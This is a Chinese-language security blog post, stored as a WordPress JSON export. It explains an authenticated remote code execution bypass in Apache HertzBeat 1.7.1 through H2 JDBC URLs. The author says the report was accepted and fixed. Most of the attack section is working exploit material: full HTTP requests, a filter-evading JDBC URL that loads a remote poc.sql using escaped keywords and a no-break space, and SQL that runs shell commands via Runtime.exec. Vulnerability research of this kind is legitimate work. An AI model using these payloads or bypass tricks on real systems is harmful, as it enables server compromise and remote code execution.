{"id":3859,"date":"2025-07-07T13:25:50","date_gmt":"2025-07-07T05:25:50","guid":{"rendered":"https:\/\/fushuling.com\/?p=3859"},"modified":"2025-07-07T13:25:58","modified_gmt":"2025-07-07T05:25:58","slug":"apache-hertzbeat-rce-bypass","status":"publish","type":"post","link":"https:\/\/fushuling.com\/index.php\/2025\/07\/07\/apache-hertzbeat-rce-bypass\/","title":{"rendered":"Apache Hertzbeat<=1.7.1 h2 jdbc RCE"},"content":{"rendered":"\n

\u672c\u6587\u9996\u53d1\u5148\u77e5\uff1aApache Hertzbeat<=1.7.1 h2 jdbc RCE<\/a><\/p>\n\n\n\n

\u524d\u8a00<\/h1>\n\n\n\n

\u5927\u6982\u4e00\u4e2a\u6708\u524d\u6211\u5728\u7814\u7a76h2 jdbc\u7684\u4e00\u4e9burl\u5173\u952e\u5b57\u7ed5\u8fc7\u6280\u5de7\uff0c\u7136\u540e\u770b\u5230\u4e86Apache Hertzbeat<\/a>\u8fd9\u4e2a\u9879\u76ee\uff0c\u5c1d\u8bd5\u7ed5\u8fc7\u4e86\u9879\u76ee\u91cc\u5bf9\u4e8eh2 jdbc\u7684\u68c0\u6d4b\u5b9e\u73b0\u4e86rce\uff0c\u5f53\u7136\u8fd9\u53ea\u662f\u4e2a\u540e\u53f0\u6d1e\uff0c\u6ca1\u6709\u4ec0\u4e48\u5371\u5bb3\u3002\u5f53\u65f6\u5b98\u65b9\u63a5\u53d7\u4e86\u6211\u7684\u62a5\u544a\uff0c\u4e00\u4e2a\u6708\u540eApache Hertzbeat\u66f4\u65b0\u4e86\u5b89\u5168\u7b56\u7565\uff0c\u8ba4\u4e3a\u540e\u53f0\u6d1e\u4e0d\u7b97\u5b89\u5168\u6f0f\u6d1e\uff0c\u867d\u7136\u4fee\u590d\u4e86\u6211\u7684\u7ed5\u8fc7\uff0c\u4f46\u62d2\u7edd\u4e86\u6211\u7684CVE\u7533\u8bf7\uff0c\u90a3\u4e48\u6211\u4e5f\u5c0a\u91cd\u5b98\u65b9\u7684\u770b\u6cd5\uff0c\u8fd9\u91cc\u5c31\u7b80\u5355\u804a\u804a\u8fd9\u4e2a\u6211\u8ba4\u4e3a\u6bd4\u8f83\u6709\u8da3\u7684h2\u7ed5\u8fc7\u3002<\/p>\n\n\n\n

\u73af\u5883\u642d\u5efa<\/h1>\n\n\n\n

\u7528docker\u4e00\u6761\u547d\u4ee4\u5373\u53ef\uff1a<\/p>\n\n\n\n

docker run -d -p 1157:1157 -p 1158:1158 --name hertzbeat apache\/hertzbeat:1.7.1<\/pre>\n\n\n\n
\u63a5\u7740\u8bbf\u95eehttp:\/\/127.0.0.1:1157\/<\/a>\uff0c\u9ed8\u8ba4\u5e10\u6237\uff1aadmin\/hertzbeat<\/code><\/p>\n\n\n\n
\"img\"\/<\/div><\/figure>\n\n\n\n
\u5f00\u59cb\u51bb\u624b<\/h1>\n\n\n\n
\u5728hertzbeat\u4e2d\u9ed8\u8ba4\u5b58\u5728h2\u4f9d\u8d56\uff1a<\/p>\n\n\n\n
\"img\"\/<\/div><\/figure>\n\n\n\n
\u5e76\u4e14\u901a\u8fc7\u5b98\u65b9\u6587\u6863\u6211\u4eec\u53ef\u4ee5\u77e5\u9053\uff0chertzbeat\u80fd\u591f\u81ea\u5df1\u6307\u5b9ajdbc\u8fdb\u884c\u8fde\u63a5\uff0c\u90a3\u4e48\u81ea\u7136\u4e5f\u53ef\u4ee5\u6307\u5b9ah2\u4e86\uff1a<\/p>\n\n\n\n
\"img\"\/<\/div><\/figure>\n\n\n\n
\u8fd9\u91cc\u6211\u4eec\u53ef\u4ee5\u53c2\u8003\u5b98\u65b9\u7684\u4ee3\u7801\u5199\u4e00\u4e2a\u81ea\u5b9a\u4e49\u7684\u76d1\u63a7\u6a21\u677f\uff1a<\/p>\n\n\n\n
category: db
app: example_h2
name:
  zh-CN: \u6a21\u62dfH2\u5e94\u7528\u7c7b\u578b
  en-US: H2 EXAMPLE APP
\u200b
params:
  - field: host
    name:
      zh-CN: \u4e3b\u673aHost
      en-US: Host
    type: host
    required: true
  - field: port
    name:
      zh-CN: \u7aef\u53e3
      en-US: Port
    type: number
    required: false
    defaultValue: 9092
  - field: username
    name:
      zh-CN: \u7528\u6237\u540d
      en-US: Username
    type: text
    required: false
  - field: password
    name:
      zh-CN: \u5bc6\u7801
      en-US: Password
    type: password
    required: false
  - field: database
    name:
      zh-CN: \u6570\u636e\u5e93\u540d\u79f0
      en-US: Database
    type: text
    required: false
  - field: url
    name:
      zh-CN: JDBC\u5730\u5740
      en-US: JDBC Url
    type: text
    required: true
\u200b
metrics:
  - name: basic
    priority: 0
    fields:
      - field: h2_version
        type: 1
        label: true
    aliasFields:
      - h2_version
    calculates:
      - h2_version=h2_version
    protocol: jdbc
    jdbc:
      host: ^_^host^_^
      port: ^_^port^_^
      platform: h2
      username: ^_^username^_^
      password: ^_^password^_^
      database: ^_^database^_^
      url: ^_^url^_^
      queryType: oneRow
\u200b<\/pre>\n\n\n\n
\"img\"\/<\/div><\/figure>\n\n\n\n
\u70b9\u51fb\u4fdd\u5b58\u5e76\u5e94\u7528\uff0c\u63a5\u4e0b\u6765\u6211\u4eec\u5c31\u53ef\u4ee5\u9009\u62e9\u8fd9\u4e2a\u65b0\u589e\u7684h2\u7c7b\u578b\u7684jdbc\u8fdb\u884c\u76d1\u63a7\uff1a<\/p>\n\n\n\n
\"img\"\/<\/div><\/figure>\n\n\n\n
\"img\"\/<\/div><\/figure>\n\n\n\n
\u5f53\u7136\uff0c\u6211\u4eec\u76f4\u63a5\u8bf7\u6c42\u7684\u5305\u4f1a\u6beb\u65e0\u7591\u95ee\u7684\u88ab\u62e6\u622a\uff1a<\/p>\n\n\n\n
POST \/api\/monitor\/detect HTTP\/1.1
Host: 127.0.0.1:1157
User-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:139.0) Gecko\/20100101 Firefox\/139.0
Accept: application\/json, text\/plain, *\/*
Accept-Language: zh-CN
Accept-Encoding: gzip, deflate, br
Authorization: Bearer eyJhbGciOiJIUzUxMiIsInppcCI6IkRFRiJ9.eJwtjEsKwzAMBe-idQR2UK04VyldxLYK7scpllMKpXevA1nOvMd84dYyzBCTI6LRobFRkKx3GE6ekRKLXD1PIUQYQLfQz0t65tIpq3bSrUoRVWzrXQqq1LfUfV0azJbJE7MZeQD5vA4xGbeLuj6kF85H8PL7A2TGKWQ.KmqQCALHDK1NSxK9uqjy_dZKWgO84PHBRzR0WtDAPRFGR8x-PJm8S5nMfoKtD-2QbnGEQM8OxL43uVl1uTlwsA
Content-Type: application\/json
Content-Length: 539
Origin: http:\/\/127.0.0.1:1157
Connection: close
Referer: http:\/\/127.0.0.1:1157\/monitors\/new?app=example_h2
Cookie: language=zh_CN; sessionId=29bd8318-3776-46a2-8a7e-d604dc4cdd33
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
\u200b
{\"monitor\":{\"intervals\":60,\"app\":\"example_h2\",\"scrape\":\"static\",\"host\":\"aaa\",\"name\":\"Majestic_Otter_26xl\"},\"collector\":\"\",\"params\":[{\"display\":true,\"field\":\"host\",\"type\":1,\"paramValue\":\"aaa\"},{\"display\":true,\"field\":\"port\",\"type\":0,\"paramValue\":9092},{\"display\":true,\"field\":\"username\",\"type\":1},{\"display\":true,\"field\":\"password\",\"type\":1},{\"display\":true,\"field\":\"database\",\"type\":1},{\"display\":true,\"field\":\"url\",\"type\":1,\"paramValue\":\"jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;InIT=rUNSCRIPT FROM 'http:\/\/127.0.0.1:50025\/poc.sql'\"}]}<\/pre>\n\n\n\n
\"img\"\/<\/div><\/figure>\n\n\n\n
\u8fd9\u91cc\u5f00\u53d1\u8005\u8bbe\u5b9a\u4e86\u4e09\u91cd\u8865\u4e01\uff0c\u9996\u5148\u662f\u5173\u952e\u5b57\u8fc7\u6ee4\uff1a<\/p>\n\n\n\n
\"img\"\/<\/div><\/figure>\n\n\n\n
\u6211\u4eec\u7684\u8001\u670b\u53cbrunscript from\u5565\u7684\u65e9\u88ab\u62e6\u4e86\uff0c\u4e0d\u8fc7\u4ece\u6211\u4e4b\u524d\u7684\u6587\u7ae0\uff1a\u4ece\u96f6\u5f00\u59cb\u7684H2 JDBC url bypass\u4e4b\u65c5<\/a>\u91cc\u6211\u4eec\u77e5\u9053\uff0c\u8fd8\u53ef\u4ee5\u4f7f\u7528ru\\\\nscript from\u8fd9\u79cd\u65b9\u5f0f\u6765\u7ed5\u8fc7\u5bf9\u4e8e\u5173\u952e\u5b57\u7684\u8fc7\u6ee4\uff0c\u56e0\u6b64\u8fd9\u4e2a\u7b2c\u4e00\u4e2a\u8865\u4e01\u7b97\u662f\u88ab\u6211\u4eec\u7ed5\u8fc7\u4e86\u3002<\/p>\n\n\n\n
\u518d\u5f80\u4e0b\u8d70\uff0c\u53ef\u4ee5\u770b\u5230\u5f00\u53d1\u8005\u5bf9\u4e8eurl\u7684\u683c\u5f0f\u6709\u4e00\u4e2a\u5f88\u62bd\u8c61\u7684check\uff1a<\/p>\n\n\n\n
\"img\"\/<\/div><\/figure>\n\n\n\n
\u8fd9\u91cc\u6709\u4e00\u4e2a\u6b63\u5219\u8868\u8fbe\u5f0f\uff1a<\/p>\n\n\n\n
^jdbc:[a-zA-Z0-9]+:\/\/[^\\s]+$<\/pre>\n\n\n\n
\u8fd9\u4e2a\u5224\u65ad\u8981\u6c42\u6211\u4eec\u7684jdbc url\u5fc5\u987b\u4ee5 jdbc:<\/code> \u5f00\u5934\u3001\u5305\u542b\u5408\u6cd5\u5b50\u534f\u8bae\u5e76\u7d27\u8ddf :\/\/<\/code> \u548c\u975e\u7a7a\u767d\u5730\u5740\u7684 JDBC URL\uff0c\u800c\u6211\u4eec\u4e4b\u524d\u7684h2 url\uff1a<\/p>\n\n\n\n
jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;I\\\\NIT=R\\\\UNSCRIPT FROM 'http:\/\/127.0.0.1:50025\/poc.sql'<\/pre>\n\n\n\n
\u662f\u80af\u5b9a\u4e0d\u6ee1\u8db3\u8fd9\u4e2a\u8981\u6c42\u7684\uff0c\u9996\u5148\u5b83\u5c31\u6ca1\u6709\u7d27\u8ddf:\/\/<\/code>\uff0c\u53ea\u4e0d\u8fc7\u6211\u5728\u5bf9\u8fd9\u4e2a\u9879\u76ee\u8fdb\u884c\u6d4b\u8bd5\u7684\u65f6\u5019\u53d1\u73b0\u4e86\u4e00\u4e2a\u5f88\u795e\u5947\u7684\u4e8b\uff1a<\/p>\n\n\n\n
\"img\"\/<\/div><\/figure>\n\n\n\n
\u5bf9\u4e8e\u4e0b\u9762\u7684url\uff1a<\/p>\n\n\n\n
jdbc:h2:\/\/mem\/testdb;TRACE_LEVEL_SYSTEM_OUT=3;<\/pre>\n\n\n\n
\u5728windows\u91cc\u8fd0\u884c\u662f\u4f1a\u76f4\u63a5\u62a5\u9519\u7684\uff0c\u4f46\u5728\u8fd9\u4e2a\u9879\u76ee\u5bf9\u5e94\u7684linux\u73af\u5883\u5374\u80fd\u6b63\u786e\u89e3\u6790\u3002\u8fd9\u4e2a\u6709\u8da3\u7684\u7279\u6027\u4ea7\u751f\u7684\u539f\u56e0\u5176\u5b9e\u6765\u81ea\u4e8eH2\u6570\u636e\u5e93URL\u683c\u5f0f\u548c\u5e95\u5c42\u8def\u5f84\u6620\u5c04\u7684\u5dee\u5f02\uff0cjdbc:h2:mem:testdb<\/code> \u662f\u6807\u51c6\u7684\u5185\u5b58\u6570\u636e\u5e93URL\u5199\u6cd5\uff0cH2\u4f1a\u5b8c\u5168\u5728\u5185\u5b58\u4e2d\u521b\u5efa\u6570\u636e\u5e93\uff0c\u4e0d\u6d89\u53ca\u6587\u4ef6\u7cfb\u7edf\uff1b\u800c jdbc:h2:\/\/mem\/testdb<\/code> \u5199\u6210\u4e86\u5e26\u201c\/\/\u201d\u7684\u5f62\u5f0f\uff0cH2\u4f1a\u628a\u5b83\u5f53\u4f5c\u6587\u4ef6\u8def\u5f84\u53bb\u89e3\u6790\u3002<\/p>\n\n\n\n
\u5728linux\u4e2d\uff0c\u8def\u5f84\u4ee5 \/<\/code> \u5f00\u5934\u8868\u793a\u6839\u76ee\u5f55\uff0c\u4f8b\u5982 \/mem\/testdb<\/code>\uff0c\u8fd9\u662f\u7edd\u5bf9\u8def\u5f84\uff0c\u800c\u5728windows\u4e2d\u8def\u5f84\u901a\u5e38\u4ee5\u76d8\u7b26\u5f00\u5934\uff08\u5982 C:\\<\/code>\uff09\uff0c\u4e14\u8def\u5f84\u5206\u9694\u7b26\u662f \\<\/code>\uff0c\u800c\u4e14\u6839\u76ee\u5f55\u7684\u6982\u5ff5\u8ddfLinux\u4e0d\u4e00\u6837\uff0c\u6240\u4ee5 jdbc:h2:\/\/mem\/testdb<\/code>\u8fd9\u4e2apayload\u4e4b\u6240\u4ee5\u80fd\u6253\u901a\uff0c\u662f\u56e0\u4e3aH2\u8fd9\u91cc\u8d70\u7684\u662f\u6587\u4ef6\u6a21\u5f0f<\/strong>\u800c\u4e0d\u662f\u5185\u5b58\u6a21\u5f0f<\/strong>\uff0c\u5728Linux\u73af\u5883\u4f1a\u5c1d\u8bd5\u5728\u6839\u76ee\u5f55\u521b\u5efa\u76ee\u5f55\u548c\u6587\u4ef6\uff1a<\/p>\n\n\n\n
\"img\"\/<\/div><\/figure>\n\n\n\n
\u8fd9\u91cc\u5176\u5b9e\u8fd8\u6e90\u81ea\u4e8e\u4e00\u4e2a\u975e\u5e38\u795e\u5947\u7684linux\u76ee\u5f55\u89e3\u6790\u7279\u6027\uff1a\u5728 POSIX \u7cfb\u7edf\uff08\u5305\u62ec Linux\u3001macOS\u3001FreeBSD \u7b49\uff09\u4e2d\uff0c\u8fde\u7eed\u591a\u4e2a\u659c\u6760\u4f1a\u88ab\u89c6\u4f5c\u4e00\u4e2a\u659c\u6760\uff0c\u5373\/a\/\/\/b\/\/\/\/\/c<\/code> \u4f1a\u88ab\u5f53\u6210 \/a\/b\/c<\/code><\/p>\n\n\n\n
\n
A pathname that begins with two or more slashes may be interpreted in an implementation-defined manner, although more than two leading slashes shall be treated as a single slash.<\/p>\n<\/blockquote>\n\n\n\n
\u6240\u4ee5jdbc:h2:\/\/mem\/testdb<\/code>\u4e4b\u6240\u4ee5\u88ab\u6b63\u786e\u89e3\u6790\uff0c\u5176\u5b9e\u662f\u56e0\u4e3ah2\u4ee5\u4e3a\u6211\u4eec\u662f\u5728\u6307\u5b9a \/\/mem\/testdb<\/code> \u8fd9\u4e2a\u8def\u5f84\u6240\u5bf9\u5e94\u7684\u6570\u636e\u5e93\u6587\u4ef6\uff01<\/strong>\u800c\u5728linux\u4e2d\u4ed6\u5c31\u88ab\u89e3\u6790\u6210\u4e86\/mem\/testdb<\/code>\uff0c\u6240\u4ee5\u521b\u5efa\u4e86\u8be5\u6587\u4ef6\u3002\u56e0\u6b64\u5176\u5b9e\u6211\u4eec\u53ea\u8981\u5728url\u91cc\u6362\u4e00\u4e2awindows\u4e0b\u6b63\u786e\u7684\u6587\u4ef6\u8def\u5f84\uff0ch2\u4e5f\u4f1a\u521b\u5efa\u5bf9\u5e94\u7684\u6570\u636e\u5e93\u6587\u4ef6\u5e76\u6b63\u786e\u6267\u884c\u3002<\/p>\n\n\n\n
\"img\"\/<\/div><\/figure>\n\n\n\n
\u4e5f\u5c31\u662f\u8bf4\u6211\u4eec\u7684payload\u5176\u5b9e\u5c31\u662f\u5728\u6807\u51c6\u7684file\u6a21\u5f0f\u5199\u6cd5jdbc:h2:file:E:\/tmp\/testdb<\/code>\u7701\u7565\u4e86file<\/code>\uff0c\u53d8\u6210\u4e86jdbc:h2:E:\/tmp\/testdb<\/code><\/p>\n\n\n\n
\u7ed5\u8fc7\u4e86\u7b2c\u4e8c\u4e2a\u8865\u4e01\uff0c\u63a5\u4e0b\u6765\u5c31\u662f\u7b2c\u4e09\u4e2a\u8865\u4e01\uff0c\u8fd9\u91cc\u53c8\u6709\u4e00\u4e2a\u5f88\u62bd\u8c61\u7684\u8fc7\u6ee4\uff0c\u5728\u76ee\u524d\u7684\u89e3\u6790\u903b\u8f91\u4e0d\u5141\u8bb8\u51fa\u73b0\u7a7a\u683c\uff0c\u5e76\u4e14\u8fc7\u6ee4\u6389\u4e86\u5f88\u591a\u63a7\u5236\u5b57\u7b26\uff1a<\/p>\n\n\n\n
\"img\"\/<\/div><\/figure>\n\n\n\n
\u6211\u4eec\u4e4b\u524d\u5e94\u8be5\u63d0\u5230\u8fc7\uff0c\u5728\u5b83\u5bf9url\u7684check\u91cc\uff0c\u662f\u8981\u6c42\u4e86url\u91cc\u4e0d\u80fd\u6709\u7a7a\u683c\u7684\uff0c\u800c\u8fd9\u91cc\u53c8\u628a\u5305\u62ec\u7a7a\u683c\u3001\u5236\u8868\u7b26\u5728\u5185\u7684\u4e00\u5806\u4e1c\u897f\u8fc7\u6ee4\u4e86\uff0c\u800c\u6211\u4eec\u7684payload\u91cc\u65e0\u8bba\u5982\u4f55\u90fd\u9700\u8981\u7a7a\u683c\u7684\u3002<\/p>\n\n\n\n
\u8fd9\u91cc\u6211\u672c\u5730\u6d4b\u8bd5\u7684\u65f6\u5019\u53d1\u73b0\uff0c\u5176\u5b9e\u53ef\u4ee5\u4f7f\u7528\u5236\u8868\u7b26\u6765\u4ee3\u66ff\u7a7a\u683c\uff1a<\/p>\n\n\n\n
\"img\"\/<\/div><\/figure>\n\n\n\n
\u867d\u7136\u5236\u8868\u7b26\u5176\u5b9e\u662f\u88ab\u8fc7\u6ee4\u4e86\uff0c\u4f46\u662f\u8fd9\u786e\u5b9e\u7ed9\u4e86\u6211\u70b9\u601d\u8def\uff0c\u65e2\u7136\u5236\u8868\u7b26\u80fd\u4ee3\u66ff\u7a7a\u683c\uff0c\u90a3\u5176\u5b9e\u5176\u4ed6\u7684\u5b57\u7b26\u5e94\u8be5\u4e5f\u53ef\u4ee5\u4ee3\u66ff\u5427\uff0c\u6bd4\u5982yulate\u7684jdbc trick<\/a>\u91cc\u5176\u5b9e\u5c31\u63d0\u5230\u4e86\u76f4\u63a5\u5bf9mysql\u7684jdbc\u8fdb\u884cfuzz\u5f97\u5230\u4e86\u4e00\u5806\u4e0d\u53ef\u89c1\u5b57\u7b26\u3002\u8fd9\u91cc\u6211\u76f4\u63a5\u53bb\u95eechatgpt\u8fd8\u6709\u54ea\u4e9b\u53ef\u4ee5\u7528\u7684\u4e0d\u53ef\u89c1\u5b57\u7b26\uff1a<\/p>\n\n\n\n
\"img\"\/<\/div><\/figure>\n\n\n\n
\u8fd9\u91ccchatgpt\u7ed9\u7684\u7b2c\u4e00\u4e2a\u4e0d\u53ef\u89c1\u5b57\u7b26<\/p>\n\n\n\n
\\u00A0<\/pre>\n\n\n\n
\u5c31\u53ef\u4ee5\u6210\u529f\u8fc7check\u5b9e\u73b0rce\uff1a<\/p>\n\n\n\n
\"img\"\/<\/div><\/figure>\n\n\n\n
\u7efc\u5408\u4e00\u4e0b\uff0c\u73b0\u5728\u6211\u4eec\u7684payload\u5c31\u662f\uff1a<\/p>\n\n\n\n
jdbc:h2:\/\/mem\/testdb;TRACE_LEVEL_SYSTEM_OUT=3;IN\\\\IT=RUN\\\\SCRIPT\\u00A0FROM'http:\/\/127.0.0.1:50025\/poc.sql'<\/pre>\n\n\n\n
\u8fd9\u91cc\u6211\u5728poc.sql\u91cc\u5199\u7684\u4ee3\u7801\u662f\u521b\u5efa\/tmp\/fushuling\uff1a<\/p>\n\n\n\n
CREATE ALIAS EXEC AS $$
void shellexec() throws java.io.IOException {
    Runtime.getRuntime().exec(\"touch \/tmp\/fushuling\");
}
$$;
CALL EXEC();<\/pre>\n\n\n\n
POST \/api\/monitor\/detect HTTP\/1.1
Host: 127.0.0.1:1157
User-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:139.0) Gecko\/20100101 Firefox\/139.0
Accept: application\/json, text\/plain, *\/*
Accept-Language: zh-CN
Accept-Encoding: gzip, deflate, br
Authorization: Bearer eyJhbGciOiJIUzUxMiIsInppcCI6IkRFRiJ9.eJwtjEsKwzAMBe-idQR2UK04VyldxLYK7scpllMKpXevA1nOvMd84dYyzBCTI6LRobFRkKx3GE6ekRKLXD1PIUQYQLfQz0t65tIpq3bSrUoRVWzrXQqq1LfUfV0azJbJE7MZeQD5vA4xGbeLuj6kF85H8PL7A2TGKWQ.KmqQCALHDK1NSxK9uqjy_dZKWgO84PHBRzR0WtDAPRFGR8x-PJm8S5nMfoKtD-2QbnGEQM8OxL43uVl1uTlwsA
Content-Type: application\/json
Content-Length: 554
Origin: http:\/\/127.0.0.1:1157
Connection: close
Referer: http:\/\/127.0.0.1:1157\/monitors\/new?app=example_h2
Cookie: language=zh_CN; sessionId=29bd8318-3776-46a2-8a7e-d604dc4cdd33
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0

{\"monitor\":{\"intervals\":60,\"app\":\"example_h2\",\"scrape\":\"static\",\"host\":\"aaa\",\"name\":\"Majestic_Otter_26xl\"},\"collector\":\"\",\"params\":[{\"display\":true,\"field\":\"host\",\"type\":1,\"paramValue\":\"aaa\"},{\"display\":true,\"field\":\"port\",\"type\":0,\"paramValue\":9092},{\"display\":true,\"field\":\"username\",\"type\":1},{\"display\":true,\"field\":\"password\",\"type\":1},{\"display\":true,\"field\":\"database\",\"type\":1},{\"display\":true,\"field\":\"url\",\"type\":1,\"paramValue\":\"jdbc:h2:\/\/mem\/testdb;TRACE_LEVEL_SYSTEM_OUT=3;IN\\\\IT=RUN\\\\SCRIPT\\u00A0FROM'http:\/\/xxxx\/poc.sql'\"}]}<\/pre>\n\n\n\n
\"img\"\/<\/div><\/figure>\n\n\n\n
\u6267\u884c\u7ed3\u679c\uff1a<\/p>\n\n\n\n
\"img\"\/<\/div><\/figure>\n","protected":false},"excerpt":{"rendered":"
\u672c\u6587\u9996\u53d1\u5148\u77e5\uff1aApache Hertzbeat<=1.7.1 h2 jdbc RCE \u524d\u8a00 \u5927\u6982\u4e00\u4e2a\u6708\u524d […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-3859","post","type-post","status-publish","format-standard","hentry","category-1"],"_links":{"self":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/3859","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/comments?post=3859"}],"version-history":[{"count":2,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/3859\/revisions"}],"predecessor-version":[{"id":3895,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/3859\/revisions\/3895"}],"wp:attachment":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/media?parent=3859"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/categories?post=3859"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/tags?post=3859"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}